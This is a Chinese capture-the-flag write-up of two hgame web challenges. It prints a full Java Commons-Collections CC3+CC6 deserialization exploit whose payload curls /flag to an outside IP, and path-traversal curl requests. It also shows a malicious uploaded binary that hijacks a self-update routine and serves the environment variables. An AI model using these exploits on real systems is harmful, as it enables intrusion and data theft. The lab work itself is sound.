@Override // java.io.ObjectInputStream protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { String className = desc.getName(); if (className.equals("org.apache.commons.collections.functors.InvokerTransformer")) { throw new InvalidClassException("Forbidden class", className); } return super.resolveClass(desc); }}啊,这个时候AI就跟我说,可以CC3+CC6,用CC3的头部绕过InvokerTransformer,用CC6的尾部来RCE。Exp.java如下:
import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import org.apache.commons.collections.map.LazyMap;import org.apache.commons.collections.keyvalue.TiedMapEntry;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import javassist.ClassPool;import javassist.CtClass;import javassist.CtConstructor;
import javax.xml.transform.Templates;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.Base64;import java.util.HashMap;import java.util.Map;
public class Exp { public static void main(String[] args) throws Exception { // 1. 准备恶意命令 // 注意:Runtime.exec 不支持管道符和重定向,建议使用 Base64 编码以此绕过 // bash -c {echo,BASE64_CODE}|{base64,-d}|{bash,-i} String cmd = "curl -X POST --data-binary @/flag http://120.26.146.96:3306/";
// 2. 构造 TemplatesImpl (CC3 的核心) // 这个类被实例化时,会加载 bytecode 里的类,从而执行 static 代码块 TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][]{createEvilBytecode(cmd)}); setFieldValue(obj, "_name", "HelloTemplatesImpl"); setFieldValue(obj, "_tfactory", new com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl());
// 3. 构造 Transformer 链 (CC3 的逻辑) // 目的是调用 obj.newTransformer() Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer( new Class[]{Templates.class}, new Object[]{obj} ) };
// 4. 构造 LazyMap 和 TiedMapEntry (CC6 的入口) // 为了避免生成 payload 时本地先触发,我们先用假的 Transformer Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)}; ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap(); Map lazyMap = LazyMap.decorate(innerMap, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "k");
// 5. 放入 HashMap (触发点) HashMap<Object, Object> expMap = new HashMap<>(); expMap.put(tiedMapEntry, "v");
// 6. 替换为真的 Transformer 链 // 构造完 HashMap 后再换回来,防止本地 put 的时候就执行了 setFieldValue(chainedTransformer, "iTransformers", transformers); // 清空 lazyMap,因为刚才 put 的时候可能已经生成了 key lazyMap.remove("k");
// 7. 序列化 + Base64 输出 ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(expMap); oos.close();
System.out.println(Base64.getEncoder().encodeToString(barr.toByteArray())); }
// 辅助方法:生成包含恶意命令的字节码 private static byte[] createEvilBytecode(String cmd) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.makeClass("EvilClass" + System.nanoTime()); // 必须继承 AbstractTranslet cc.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet")); // 构造函数或静态块里写命令执行 CtConstructor constructor = cc.makeClassInitializer(); constructor.setBody("{ java.lang.Runtime.getRuntime().exec(\"" + cmd + "\"); }"); return cc.toBytecode(); }
// 辅助方法:反射修改字段 public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }}不太懂,但真的成功了😨。不过nc是弹不过来的,bash也不行,但是一开始验证RCE的时候是用了curl,那么自然想到使用@把文件post上来,也确实是可行的。
javac -cp ysoserial-all.jar Exp.java; java -cp .:ysoserial-all.jar Exp | pbcopy

那么到底是为啥呢?

// 辅助方法:使用 Javassist 生成字节码private static byte[] createEvilBytecode(String cmd) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass cc = pool.makeClass("EvilClass" + System.nanoTime());
// Key Point 1: 必须继承 AbstractTranslet // 为什么?因为 TemplatesImpl 在加载类时,会强制检查这个类是否是 AbstractTranslet 的子类。 // 如果不是,它会直接报错,不进行实例化,也就不会执行我们的代码。 cc.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
// Key Point 2: 把命令写在静态块 (static block) 或构造函数里 // 只要类被实例化 (new EvilClass()),这段代码就会立刻执行。 CtConstructor constructor = cc.makeClassInitializer(); constructor.setBody("{ java.lang.Runtime.getRuntime().exec(\"" + cmd + "\"); }");
return cc.toBytecode();}这一段可以理解,就是php pop链的eval部分
// 2. 构造 TemplatesImpl 对象TemplatesImpl obj = new TemplatesImpl();
// 通过反射把我们的恶意字节码塞进去setFieldValue(obj, "_bytecodes", new byte[][]{createEvilBytecode(cmd)});// 这个名字必须有,否则会报错setFieldValue(obj, "_name", "HelloTemplatesImpl");// 这是一个必须的辅助字段,避免空指针异常setFieldValue(obj, "_tfactory", new com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl());这一段是CC3的核心内容。Java 反序列化时不会自动加载字节码。需要一个 JDK 自带的类 TemplatesImpl。TemplatesImpl是⼀个可以加载字节码的类,它的成员变量_bytecodes可以存储字节码,通过调⽤其newTransformer()⽅法,即可执⾏这段字节码的类构造器。而且这个类不在commons-collections黑名单里。这一步有点类似php的unserialize啊。这里我参考了这篇文章https://www.cnblogs.com/gk0d/p/16881370.html,讲解CC3,收获还是挺大的。上面这个片段和这篇文章里的PoC基本一模一样。
// 3. 构造 Transformer 链Transformer[] transformers = new Transformer[]{ // 这一步相当于: new ConstantTransformer(TrAXFilter.class).transform(任何东西) -> 返回 TrAXFilter.class new ConstantTransformer(TrAXFilter.class),
// 这一步相当于: new InstantiateTransformer(构造参数类型, 构造参数值).transform(前一步的TrAXFilter.class) // 最终执行: new TrAXFilter(obj) // -> 触发 TrAXFilter 构造函数 -> 触发 obj.newTransformer() -> 爆炸! new InstantiateTransformer( new Class[]{Templates.class}, new Object[]{obj} )};还是回到刚刚那篇文章。CC1、CC6使用了黑名单里的InvokerTransformer来反射任意方法。而CC3使用了com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter。但是,缺少了InvokerTransformer,TrAXFilter的构造⽅法也是⽆法调⽤的。这⾥会⽤到⼀个新的Transformer,就是org.apache.commons.collections.functors.InstantiateTransformer。InstantiateTransformer也是⼀个实现了Transformer接⼝的类,他的作⽤就是调⽤构造⽅法。上方代码就是利⽤InstantiateTransformer来调⽤到TrAXFilter的构造⽅法,再利⽤其构造⽅法⾥的templates.newTransformer()调⽤到TemplatesImpl⾥的字节码。这就可以绕过InvokerTransformer执行一开始写的字节码。
// 4. 构造 LazyMap 和 TiedMapEntry// 【防走火机制】先放一个假的 Transformer// 为什么要这样?因为我们在本地构造 HashMap.put() 的时候,如果不小心就会触发 key.hashCode()。// 如果直接放真的 exp,你自己电脑上的计算器就弹出来的,Payload 还没生成呢。Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
// 创建 LazyMap,只要有人调用 get(),它就找 chainedTransformerMap innerMap = new HashMap();Map lazyMap = LazyMap.decorate(innerMap, chainedTransformer);
// 创建 TiedMapEntry,它被当作 KeyTiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "k");
// 5. 放入 HashMap (这才是真正的反序列化入口)HashMap<Object, Object> expMap = new HashMap<>();expMap.put(tiedMapEntry, "v"); // 把 TiedMapEntry 当作 Key 放进去这里对应CC6的部分,接着参考同一个作者的文章:[text](https://www.cnblogs.com/gk0d/p/16880711.html)。这段代码实现的功能是让服务器在readObject的时候触发刚刚构造的链条。关键点是,`HashMap`反序列化时会把里面所有的`Key`都算一遍`hashCode()`。这里把`Key`设置为`TiedMapEntry`。当`TiedMapEntry.hashCode()` 会调用内部 Map 的 get()。再把内部 Map 设置为 LazyMap。而当LazyMap.get() 发现 Key 不存在时,会调用Transformer链来生成值。
// 6. 替换为真的 Transformer 链// 通过反射,把 chainedTransformer 里面的 "iTransformers" 字段换成真正的 transformers 数组setFieldValue(chainedTransformer, "iTransformers", transformers);
// 清理现场:刚才 put 的时候,LazyMap 可能已经生成了一个 "k" 键。// 必须把它删掉!否则服务器反序列化时,发现 "k" 已经存在,就不会去调用 transform 了。lazyMap.remove("k");这一段是最后的构造,把前面构造的Transformer 链放入准备**被调用hashCode()**的map。
easyuu
uu是什么意思,很简单吗,分开来想想你就明白啦
看前端,发现是Leptos + WASM,那么后端就是Rust了。uu是什么意思?猜测是URL Unencoding,尝试双重编码。不过没用。突然发现,单层编码居然能够穿越。
先把二进制下载下来
curl -v "http://1.116.118.188:32458/api/download_file/..%2feasyuu" --output easyuu_bin虚拟文件系统大小是0,响应也是0.
curl -v "http://1.116.118.188:32458/api/download_file/..%2f..%2f..%2f..%2fproc%2fself%2fcmdline"读一下Cargo.toml,还真读到了。
curl -v "http://1.116.118.188:32458/api/download_file/..%2fCargo.toml"奇怪的事情从这里开始发生。dep:self-replace是什么东西啊😨这里也了解到,后端监听3000端口
[package]name = "easyuu"version = "0.1.0"edition = "2024"
[lib]crate-type = ["cdylib", "rlib"]
[dependencies]leptos = { version = "0.8.15", features = ["multipart", "nightly"] }leptos_router = { version = "0.8.11", features = ["nightly"] }axum = { version = "0.8.8", optional = true }console_error_panic_hook = { version = "0.1.7", optional = true }leptos_axum = { version = "0.8.7", optional = true }leptos_meta = { version = "0.8.5" }tokio = { version = "1.49.0", features = ["full"], optional = true }wasm-bindgen = { version = "0.2.108", optional = true }serde = { version = "1.0.228", features = ["derive"] }tokio-util = "0.7.18"self-replace = { version = "1.5.0", optional = true }semver = "1.0.27"
[features]hydrate = [ "leptos/hydrate", "dep:console_error_panic_hook", "dep:wasm-bindgen",]ssr = [ "dep:axum", "dep:tokio", "dep:leptos_axum", "dep:self-replace", "leptos/ssr", "leptos_meta/ssr", "leptos_router/ssr",]
# Defines a size-optimized profile for the WASM bundle in release mode[profile.wasm-release]inherits = "release"opt-level = 'z'lto = truecodegen-units = 1panic = "abort"
[package.metadata.leptos]# The name used by wasm-bindgen/cargo-leptos for the JS/WASM bundle. Defaults to the crate nameoutput-name = "easyuu"
# The site root folder is where cargo-leptos generate all output. WARNING: all content of this folder will be erased on a rebuild. Use it in your server setup.site-root = "target/site"
# The site-root relative folder where all compiled output (JS, WASM and CSS) is written# Defaults to pkgsite-pkg-dir = "pkg"
# [Optional] The source CSS file. If it ends with .sass or .scss then it will be compiled by dart-sass into CSS. The CSS is optimized by Lightning CSS before being written to <site-root>/<site-pkg>/app.cssstyle-file = "style/main.scss"# Assets source dir. All files found here will be copied and synchronized to site-root.# The assets-dir cannot have a sub directory with the same name/path as site-pkg-dir.## Optional. Env: LEPTOS_ASSETS_DIR.assets-dir = "public"
# The IP and port (ex: 127.0.0.1:3000) where the server serves the content. Use it in your server setup.site-addr = "0.0.0.0:3000"
# The port to use for automatic reload monitoringreload-port = 3001
# [Optional] Command to use when running end2end tests. It will run in the end2end dir.# [Windows] for non-WSL use "npx.cmd playwright test"# This binary name can be checked in Powershell with Get-Command npxend2end-cmd = "npx playwright test"end2end-dir = "end2end"
# The browserlist query used for optimizing the CSS.browserquery = "defaults"
# The environment Leptos will run in, usually either "DEV" or "PROD"env = "DEV"
# The features to use when compiling the bin target## Optional. Can be over-ridden with the command line parameter --bin-featuresbin-features = ["ssr"]
# If the --no-default-features flag should be used when compiling the bin target## Optional. Defaults to false.bin-default-features = false
# The features to use when compiling the lib target## Optional. Can be over-ridden with the command line parameter --lib-featureslib-features = ["hydrate"]
# If the --no-default-features flag should be used when compiling the lib target## Optional. Defaults to false.lib-default-features = false
# The profile to use for the lib target when compiling for release## Optional. Defaults to "release".lib-profile-release = "wasm-release"
至此,当前所有能够猜出来的文件泄漏就这些了(源码好像被删了,反正我没找到)。
那么,只能对easyuu二进制下手了,macOS arm64的IDA PRO破解版还没找到,只能用Ghidra,妈的Rust全是垃圾回收,代码看不下去一点,Ghidra又巨卡,关键地方还decomelier失效…
无语住了,直接上strings分析。
那么既然有已知的api(api/download_file),自然是要看看还有什么api(我可不想扒那个wasm)。
➜ eazyuu strings easyuu_bin | grep "api/"/api/download_file/application/octet-streamheader_read_timeoutcore missinga spawned task panicked and the runtime is configured to shut down on unhandled panicinternal error: entered unreachable codeCannot start a runtime from within a runtime. This happens because a function (like `block_on`) attempted to block the current thread while the thread is being used to drive asynchronous tasks.failed to park threadFailed to `Enter::block_on`0.1.0Failed to get configuration/api/download_file/{filename}Failed to bind to addressServer failedFailed building the RuntimeHeaderValue::from_static with invalid bytesassertion failed: (*tail).value.is_none()assertion failed: (*next).value.is_some()EventListener was not inserted into the linked list, make sure you're not polling EventListener/listener! after it has finishedtext/html; charset=utf-8[internal exception] blocking task ran twice.ErrorinnerConfigNotFoundConfigSectionNotFoundConfigErrorEnvVarError`Ready` polled after completionNotEofIncompleteBodydescription() is deprecated; use Display/api/upload_filetext/plain/api/list_dir/api/lisH对了呀。其中/api/lisH是前端js、wasm相关,忽略;/api/upload_filetext/plain确实是上传;/api/list_dir有点可以,试一下(怪贴心的,响应里还教你怎么请求):
curl -v -X POST "http://1.116.118.188:32458/api/list_dir" \ -d "path=/"➜ eazyuu curl -v -X POST "http://1.116.118.188:31005/api/list_dir" \ -d "path=/"Note: Unnecessary use of -X or --request, POST is already inferred.* Trying 1.116.118.188:31005...* Connected to 1.116.118.188 (1.116.118.188) port 31005> POST /api/list_dir HTTP/1.1> Host: 1.116.118.188:31005> User-Agent: curl/8.7.1> Accept: */*> Content-Length: 6> Content-Type: application/x-www-form-urlencoded>* upload completely sent off: 6 bytes< HTTP/1.1 200 OK< content-type: application/json< content-length: 782< date: Thu, 12 Feb 2026 19:13:58 GMT<* Connection #0 to host 1.116.118.188 left intact[{"name":"bin","is_dir":false,"size":7},{"name":"boot","is_dir":true,"size":0},{"name":"dev","is_dir":true,"size":360},{"name":"etc","is_dir":true,"size":10},{"name":"home","is_dir":true,"size":0},{"name":"lib","is_dir":false,"size":7},{"name":"lib64","is_dir":false,"size":9},{"name":"media","is_dir":true,"size":0},{"name":"mnt","is_dir":true,"size":0},{"name":"opt","is_dir":true,"size":0},{"name":"proc","is_dir":true,"size":0},{"name":"root","is_dir":true,"size":30},{"name":"run","is_dir":true,"size":14},{"name":"sbin","is_dir":false,"size":8},{"name":"srv","is_dir":true,"size":0},{"name":"sys","is_dir":true,"size":0},{"name":"tmp","is_dir":true,"size":0},{"name":"usr","is_dir":true,"size":40},{"name":"var","is_dir":true,"size":22},{"name":"app","is_dir":true,"size":12}]简单溜达一圈,没找到flag,但是发现了这个:
➜ eazyuu curl -v -X POST "http://1.116.118.188:32458/api/list_dir" \ -d "path=/app/update"Note: Unnecessary use of -X or --request, POST is already inferred.* Trying 1.116.118.188:32458...* Connected to 1.116.118.188 (1.116.118.188) port 32458> POST /api/list_dir HTTP/1.1> Host: 1.116.118.188:32458> User-Agent: curl/8.7.1> Accept: */*> Content-Length: 16> Content-Type: application/x-www-form-urlencoded>* upload completely sent off: 16 bytes< HTTP/1.1 200 OK< content-type: application/json< content-length: 101< date: Thu, 12 Feb 2026 18:10:35 GMT<* Connection #0 to host 1.116.118.188 left intact[{"name":"easyuu.zip","is_dir":false,"size":103224},{"name":"easyuu","is_dir":false,"size":11071912}]easyuu.zip,那肯定是要下载下来研究一下:
curl -v "http://1.116.118.188:32458/api/download_file/..%2fupdate%2feasyuu.zip" --output easyuu.zip我超,是源码!
if args.len() > 1 && args[1] == "--version" { println!("{}", VERSION); return; }简单分析一下,大彻大悟了。uu 指的是 uploads/update。
#[cfg(feature = "ssr")]async fn get_new_version() -> Option<Version> { use tokio::process::Command;
let output = Command::new("./update/easyuu") .arg("--version") .output() .await .ok()?;
let version_str = String::from_utf8(output.stdout).ok()?.trim().to_string(); Version::parse(&version_str).ok()}
#[cfg(feature = "ssr")]async fn update() -> Result<(), Box<dyn std::error::Error>> { let new_binary = "./update/easyuu"; self_replace::self_replace(&new_binary)?; // fs::remove_file(&new_binary)?; Ok(())}这个easyuu每隔5s检测一次./update/easyuu是否存在,如果存在,会执行./update/easyuu --version,如果返回的版本号大于0.1.0,就会self_replace到./update/easyuu。
Some("path1") => { if let Ok(p) = field.text().await { base_dir = PathBuf::from(p); } continue;}而且这个/api/upload_file还存在一个path1参数,可以任意指定上传位置。
好的那来测试一下:
#include <stdio.h>#include <string.h>#include <unistd.h>#include <stdlib.h>
int main(int argc, char *argv[]) { if (argc == 2 && strcmp(argv[1], "--version") == 0) { printf("0.2.0\n"); return 0; }
execl("/bin/bash", "curl", "http://120.26.146.96:3306/hello", NULL); perror("execl failed"); return 1;}我这里使用orb交叉编译到linux-x86
x86_64-linux-gnu-gcc exploit.c -o easyuu上传!
curl -v -X POST "http://1.116.118.188:31228/api/upload_file" \ -F "path1=./update" \ -F "file=@easyuu;filename=easyuu"
坏了,容器是不出网的,我相信flag大概率就在env里。但是如果直接env > /app/uploads/env.txt,easyuu被替换后,api也挂了。所以需要自己实现一个HTTP Server,监听3000端口。
C写HTTP我真不会,让ai来吧:
#include <stdio.h>#include <string.h>#include <stdlib.h>#include <unistd.h>#include <sys/socket.h>#include <netinet/in.h>#include <fcntl.h>
#define PORT 3000
// 辅助函数:将文件内容发送到 socketvoid send_file_content(int sock, const char *filepath, const char *title) { char buffer[1024]; char title_buf[256]; int fd = open(filepath, O_RDONLY);
sprintf(title_buf, "\n\n--- %s (%s) ---\n", title, filepath); send(sock, title_buf, strlen(title_buf), 0);
if (fd != -1) { int bytes; while ((bytes = read(fd, buffer, sizeof(buffer))) > 0) { send(sock, buffer, bytes, 0); } close(fd); } else { char *msg = "[File not found or permission denied]\n"; send(sock, msg, strlen(msg), 0); }}
int main(int argc, char *argv[]) { if (argc > 1 && strcmp(argv[1], "--version") == 0) { printf("0.2.0\n"); return 0; }
system("env > /tmp/envs.txt");
int server_fd, new_socket; struct sockaddr_in address; int opt = 1; int addrlen = sizeof(address); char buffer[1024] = {0};
// 创建 socket if ((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == 0) { perror("socket failed"); exit(EXIT_FAILURE); }
// 设置端口复用 (防止重启瞬间端口被占) if (setsockopt(server_fd, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT, &opt, sizeof(opt))) { perror("setsockopt"); exit(EXIT_FAILURE); }
address.sin_family = AF_INET; address.sin_addr.s_addr = INADDR_ANY; address.sin_port = htons(PORT);
// 绑定 3000 端口 if (bind(server_fd, (struct sockaddr *)&address, sizeof(address)) < 0) { perror("bind failed"); // 如果绑定失败,可能是旧进程还没彻底死掉,尝试 sleep 一下再试(但在 exec 模式下通常不需要) exit(EXIT_FAILURE); }
if (listen(server_fd, 3) < 0) { perror("listen"); exit(EXIT_FAILURE); }
printf("Hacked Web Server listening on port %d\n", PORT);
// 无限循环处理请求 while (1) { if ((new_socket = accept(server_fd, (struct sockaddr *)&address, (socklen_t*)&addrlen)) < 0) { continue; }
// 简单的读取一下请求(我们不解析它,只要有连接就给 Flag) read(new_socket, buffer, 1024);
// 构造 HTTP 响应头 char *header = "HTTP/1.1 200 OK\r\nContent-Type: text/plain\r\nConnection: close\r\n\r\n"; send(new_socket, header, strlen(header), 0);
send_file_content(new_socket, "/tmp/envs.txt", "Environment Variables");
close(new_socket); } return 0;}
上传后任意请求,拿到flag:
--- Environment Variables (/tmp/envs.txt) ---KUBERNETES_SERVICE_PORT=443KUBERNETES_PORT=tcp://10.43.0.1:443HOSTNAME=ret2shell-192-3058-1770922650HOME=/rootLEPTOS_SITE_ADDR=0.0.0.0:3000LEPTOS_SITE_ROOT=siteRUST_LOG=infoKUBERNETES_PORT_443_TCP_ADDR=10.43.0.1PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binKUBERNETES_PORT_443_TCP_PORT=443KUBERNETES_PORT_443_TCP_PROTO=tcpKUBERNETES_SERVICE_PORT_HTTPS=443KUBERNETES_PORT_443_TCP=tcp://10.43.0.1:443KUBERNETES_SERVICE_HOST=10.43.0.1PWD=/appFLAG=hgame{Up1o@D_and_updAT3-@Re_rEaI1Y_e@5Y1cfda}如果这篇文章对你有帮助,欢迎分享给更多人!
部分信息可能已经过时









